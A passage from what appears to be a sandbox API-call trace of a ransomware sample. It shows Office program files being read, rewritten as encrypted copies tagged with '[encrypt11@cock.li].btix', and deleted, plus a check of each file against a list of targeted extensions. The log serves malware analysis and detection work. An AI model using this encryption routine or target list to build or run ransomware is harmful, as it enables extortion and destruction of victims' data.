lpOverlapped=0x0) returned 1 [0159.280] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.280] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xf4, lpOverlapped=0x0) returned 1 [0159.280] SetEndOfFile (hFile=0x34c) returned 1 [0159.280] CloseHandle (hObject=0x34c) returned 1 [0159.280] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.280] SetEndOfFile (hFile=0x35c) returned 1 [0159.281] CloseHandle (hObject=0x35c) returned 1 [0159.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1 [0159.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0159.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0159.282] lstrlenW (lpString=".doc") returned 4 [0159.282] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.282] lstrlenW (lpString=".docx") returned 5 [0159.282] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.282] lstrlenW (lpString=".pdf") returned 4 [0159.282] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.282] lstrlenW (lpString=".xls") returned 4 [0159.282] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.282] lstrlenW (lpString=".xlsx") returned 5 [0159.282] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.282] lstrlenW (lpString=".ppt") returned 4 [0159.282] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0159.282] lstrlenW (lpString=".zip") returned 4 [0159.282] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.282] lstrlenW (lpString=".rar") returned 4 [0159.282] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.282] lstrlenW (lpString=".bz2") returned 4 [0159.282] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.282] lstrlenW (lpString=".7z") returned 3 [0159.283] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0159.283] lstrlenW (lpString=".dbf") returned 4 [0159.283] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0159.283] lstrlenW (lpString=".1cd") returned 4 [0159.283] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0159.283] lstrlenW (lpString=".jpg") returned 4 [0159.283] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.283] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.283] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.284] GetLastError () returned 0x0 [0159.284] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x530f9, lpOverlapped=0x0) returned 1 [0159.289] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x53100, lpOverlapped=0x0) returned 1 [0159.294] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.294] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xfa, lpOverlapped=0x0) returned 1 [0159.295] SetEndOfFile (hFile=0x34c) returned 1 [0159.295] CloseHandle (hObject=0x34c) returned 1 [0159.295] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.295] SetEndOfFile (hFile=0x35c) returned 1 [0159.298] CloseHandle (hObject=0x35c) returned 1 [0159.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1 [0159.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0159.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0159.299] lstrlenW (lpString=".doc") returned 4 [0159.299] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.299] lstrlenW (lpString=".docx") returned 5 [0159.299] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.299] lstrlenW (lpString=".pdf") returned 4 [0159.299] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.299] lstrlenW (lpString=".xls") returned 4 [0159.299] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.299] lstrlenW (lpString=".xlsx") returned 5 [0159.299] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.299] lstrlenW (lpString=".ppt") returned 4 [0159.299] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0159.299] lstrlenW (lpString=".zip") returned 4 [0159.299] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.299] lstrlenW (lpString=".rar") returned 4 [0159.299] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.299] lstrlenW (lpString=".bz2") returned 4 [0159.299] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.299] lstrlenW (lpString=".7z") returned 3 [0159.299] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0159.299] lstrlenW (lpString=".dbf") returned 4 [0159.299] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0159.299] lstrlenW (lpString=".1cd") returned 4 [0159.299] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0159.299] lstrlenW (lpString=".jpg") returned 4 [0159.299] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.300] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.300] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.300] GetLastError () returned 0x0 [0159.300] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x51933, lpOverlapped=0x0) returned 1 [0159.567] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x51940, lpOverlapped=0x0) returned 1 [0159.573] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.573] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xf8, lpOverlapped=0x0) returned 1 [0159.573] SetEndOfFile (hFile=0x34c) returned 1 [0159.573] CloseHandle (hObject=0x34c) returned 1 [0159.573] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.573] SetEndOfFile (hFile=0x35c) returned 1 [0159.576] CloseHandle (hObject=0x35c) returned 1 [0159.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0159.577] lstrlenW (lpString=".doc") returned 4 [0159.577] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.577] lstrlenW (lpString=".docx") returned 5 [0159.577] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.577] lstrlenW (lpString=".pdf") returned 4 [0159.577] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.577] lstrlenW (lpString=".xls") returned 4 [0159.577] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.577] lstrlenW (lpString=".xlsx") returned 5 [0159.577] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.577] lstrlenW (lpString=".ppt") returned 4 [0159.577] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0159.577] lstrlenW (lpString=".zip") returned 4 [0159.577] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.577] lstrlenW (lpString=".rar") returned 4 [0159.577] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.577] lstrlenW (lpString=".bz2") returned 4 [0159.577] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.577] lstrlenW (lpString=".7z") returned 3 [0159.577] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0159.577] lstrlenW (lpString=".dbf") returned 4 [0159.577] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0159.577] lstrlenW (lpString=".1cd") returned 4 [0159.578] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0159.578] lstrlenW (lpString=".jpg") returned 4 [0159.578] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.578] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.578] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.578] GetLastError () returned 0x0 [0159.578] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0159.580] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0159.581] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.581] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x122, lpOverlapped=0x0) returned 1 [0159.581] SetEndOfFile (hFile=0x34c) returned 1 [0159.581] CloseHandle (hObject=0x34c) returned 1 [0159.582] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.582] SetEndOfFile (hFile=0x35c) returned 1 [0159.582] CloseHandle (hObject=0x35c) returned 1 [0159.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0159.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0159.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0159.583] lstrlenW (lpString=".doc") returned 4 [0159.583] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.583] lstrlenW (lpString=".docx") returned 5 [0159.583] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.583] lstrlenW (lpString=".pdf") returned 4 [0159.583] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.583] lstrlenW (lpString=".xls") returned 4 [0159.583] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.583] lstrlenW (lpString=".xlsx") returned 5 [0159.583] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.583] lstrlenW (lpString=".ppt") returned 4 [0159.583] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0159.583] lstrlenW (lpString=".zip") returned 4 [0159.583] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.583] lstrlenW (lpString=".rar") returned 4 [0159.583] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.583] lstrlenW (lpString=".bz2") returned 4 [0159.583] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.583] lstrlenW (lpString=".7z") returned 3 [0159.583] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0159.584] lstrlenW (lpString=".dbf") returned 4 [0159.584] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0159.584] lstrlenW (lpString=".1cd") returned 4 [0159.584] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0159.584] lstrlenW (lpString=".jpg") returned 4 [0159.584] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.584] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.584] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.585] GetLastError () returned 0x0 [0159.585] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0159.586] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0159.587] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.587] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x126, lpOverlapped=0x0) returned 1 [0159.587] SetEndOfFile (hFile=0x34c) returned 1 [0159.588] CloseHandle (hObject=0x34c) returned 1 [0159.588] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.588] SetEndOfFile (hFile=0x35c) returned 1 [0159.588] CloseHandle (hObject=0x35c) returned 1 [0159.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0159.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0159.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0159.589] lstrlenW (lpString=".doc") returned 4 [0159.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.589] lstrlenW (lpString=".docx") returned 5 [0159.589] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0159.589] lstrlenW (lpString=".pdf") returned 4 [0159.589] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.589] lstrlenW (lpString=".xls") returned 4 [0159.589] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.589] lstrlenW (lpString=".xlsx") returned 5 [0159.589] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0159.589] lstrlenW (lpString=".ppt") returned 4 [0159.589] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0159.589] lstrlenW (lpString=".zip") returned 4 [0159.589] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.589] lstrlenW (lpString=".rar") returned 4 [0159.590] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.590] lstrlenW (lpString=".bz2") returned 4 [0159.590] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.590] lstrlenW (lpString=".7z") returned 3 [0159.590] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0159.590] lstrlenW (lpString=".dbf") returned 4 [0159.590] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0159.590] lstrlenW (lpString=".1cd") returned 4 [0159.590] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0159.590] lstrlenW (lpString=".jpg") returned 4 [0159.590] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.590] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.590] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.591] GetLastError () returned 0x0 [0159.591] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0159.592] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0159.593] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.593] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x114, lpOverlapped=0x0) returned 1 [0159.593] SetEndOfFile (hFile=0x34c) returned 1 [0159.594] CloseHandle (hObject=0x34c) returned 1 [0159.594] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.594] SetEndOfFile (hFile=0x35c) returned 1 [0159.594] CloseHandle (hObject=0x35c) returned 1 [0159.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0159.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0159.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0159.595] lstrlenW (lpString=".doc") returned 4 [0159.596] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.596] lstrlenW (lpString=".docx") returned 5 [0159.596] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.596] lstrlenW (lpString=".pdf") returned 4 [0159.596] lstrcmpiW 